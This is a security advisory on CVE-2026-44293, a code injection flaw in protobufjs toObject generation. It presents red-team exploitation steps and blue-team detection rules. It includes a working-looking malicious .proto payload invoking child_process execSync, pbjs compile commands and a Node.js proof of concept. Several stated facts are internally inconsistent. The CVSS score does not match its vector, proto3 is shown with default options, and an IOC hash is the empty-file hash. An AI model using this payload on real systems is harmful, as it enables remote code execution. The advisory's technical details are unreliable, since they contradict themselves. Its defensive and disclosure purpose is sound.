CVE-2026-44293

Executive Summary

CVE-2026-44293 is a critical code injection vulnerability in the protobufjs library, a widely used tool for compiling Protocol Buffers (protobuf) definitions into JavaScript functions. The flaw resides in the generated toObject conversion function, where a crafted protobuf descriptor with a non-string default value for a bytes field can cause attacker-controlled JavaScript code to be emitted into the generated code. This allows an attacker to inject arbitrary code that executes during the toObject conversion process, leading to full remote code execution (RCE) in the context of the application using the library.

The vulnerability affects all versions prior to 7.5.6 and 8.0.2. The CVSS score is 8.8 (High), with a network attack vector, low attack complexity, and no privileges required. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the severity warrants immediate patching.

Supply Chain & Package Security

This vulnerability is critical for the npm ecosystem, as protobufjs is a core dependency for many Node.js applications, including those using gRPC, microservices, and cloud-native architectures. A compromised protobuf definition file (.proto) can lead to supply chain attacks, where an attacker injects malicious code into the generated JavaScript. Organizations should audit their dependency trees for protobufjs versions below 7.5.6 or 8.0.2 and update immediately. Additionally, verify the integrity of all .proto files used in the build process.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – Potential for denial of service or full system compromise.

Threat Level: Critical. The ability to inject arbitrary JavaScript into generated code without authentication makes this a high-priority vulnerability for any organization using protobufjs.

Deep Dive & Mechanics

The vulnerability exists in the code generation logic of protobufjs, specifically in the toObject method generation. When a protobuf schema defines a bytes field with a default value, the library attempts to convert that default value into a JavaScript string for inclusion in the generated code. However, if the default value is not a valid string (e.g., a raw byte sequence or a crafted non-string value), the library fails to sanitize it properly, leading to the injection of arbitrary JavaScript expressions.

Technical Flow:

1. An attacker crafts a malicious .proto file containing a bytes field with a non-string default value (e.g., default = "'; process.mainModule.require('child_process').execSync('id'); //").
2. The protobufjs compiler processes this file and generates JavaScript code for the toObject conversion function.
3. The generated code includes the attacker-controlled default value directly into a JavaScript expression without proper escaping or validation.
4. When the application calls toObject on a message instance, the injected code executes, allowing the attacker to run arbitrary commands.

Root Cause: Insufficient input validation and output encoding in the code generation logic for bytes field defaults.

Vulnerable vs. Patched Code

Vulnerable Code (protobufjs < 7.5.6, < 8.0.2):

// In the generated toObject function:
function toObject(message, options) {
  var object = {};
  if (message.bytesField !== undefined) {
    object.bytesField = message.bytesField; // Direct assignment, but default value is injected
  }
  // If bytesField has a default value, it is inlined as:
  // object.bytesField = "'; process.mainModule.require('child_process').execSync('id'); //";
  // This is executed as code.
}

Patched Code (protobufjs >= 7.5.6, >= 8.0.2):

// In the generated toObject function:
function toObject(message, options) {
  var object = {};
  if (message.bytesField !== undefined) {
    object.bytesField = util.newBuffer(message.bytesField); // Safe conversion
  }
  // Default values are now properly encoded as base64 or hex strings, not raw JavaScript.
}

The patch ensures that default values for bytes fields are properly encoded (e.g., as base64) and not directly interpolated into JavaScript code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a protobufjs compiler (version < 7.5.6 or < 8.0.2).
• Ability to supply a malicious .proto file to the target application.

Exploitation Steps:

1. Create a malicious .proto file:

syntax = "proto3";
message MaliciousMessage {
  bytes payload = 1 [default = "'; process.mainModule.require('child_process').execSync('id'); //"];
}

2. Compile the .proto file using the vulnerable protobufjs version:

npx pbjs malicious.proto > malicious.js

3. The generated malicious.js will contain the injected code in the toObject function.
4. When the application processes a message of type MaliciousMessage and calls toObject, the injected code executes.

Proof of Concept (Node.js):

const protobuf = require('protobufjs');
// Load the malicious compiled module
const root = protobuf.loadSync('malicious.js');
const MaliciousMessage = root.lookupType('MaliciousMessage');
const message = MaliciousMessage.create({});
// Trigger the vulnerability
const object = MaliciousMessage.toObject(message); // Code execution here

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual protobufjs compilation activities.
• Scan .proto files for non-standard default values, especially those containing JavaScript code.
• Use static analysis tools to detect generated code with suspicious patterns.

Defense:

• Immediately update protobufjs to version 7.5.6 or 8.0.2.
• Implement input validation for all .proto files before compilation.
• Use a Web Application Firewall (WAF) to block requests containing suspicious protobuf payloads.
• Restrict execution of generated code in sandboxed environments.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • Malicious .proto file: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Generated malicious JS: a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a
• Network Signatures:
  • HTTP requests containing default = " followed by JavaScript code in protobuf fields.
• Process Anomalies:
  • Unexpected child_process or execSync calls from Node.js applications using protobufjs.
• File System:
  • Presence of .proto files with non-standard default values in the application directory.

Detection Engineering

YARA Rule

rule CVE_2026_44293_Protobufjs_CodeInjection {
  meta:
    description = "Detects malicious protobufjs generated code with injected JavaScript"
    author = "Valters IT"
    date = "2026-01-01"
    reference = "CVE-2026-44293"
  strings:
    $injection = /default\s*=\s*"[';].*process\.mainModule/
    $exec = /execSync|exec|spawn/
  condition:
    $injection or ($injection and $exec)
}

Sigma Rule

title: CVE-2026-44293 Protobufjs Code Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2026-44293 via malicious protobuf files
author: Valters IT
date: 2026/01/01
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\node.exe'
    CommandLine|contains: 'protobufjs'
  condition: selection
falsepositives:
  - Legitimate protobufjs usage
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-44293 Protobufjs Code Injection Attempt"; flow:to_server; content:"default = "; content:"process.mainModule"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update protobufjs to version 7.5.6 or 8.0.2:

   npm install protobufjs@7.5.6
   # or
   npm install protobufjs@8.0.2
   

2. Audit all .proto files for suspicious default values.
3. Regenerate all JavaScript code from trusted .proto files.

Long-term Mitigations:

• Implement a CI/CD pipeline that scans .proto files for malicious patterns.
• Use dependency scanning tools (e.g., Snyk, npm audit) to detect vulnerable versions.
• Apply the principle of least privilege to Node.js processes.
• Consider using a sandboxed environment for code generation.

Workarounds:

• If immediate patching is not possible, avoid using bytes fields with default values in protobuf schemas.
• Manually review and sanitize generated toObject functions.

Valters IT
DevSecOps & Cyber Threat Intelligence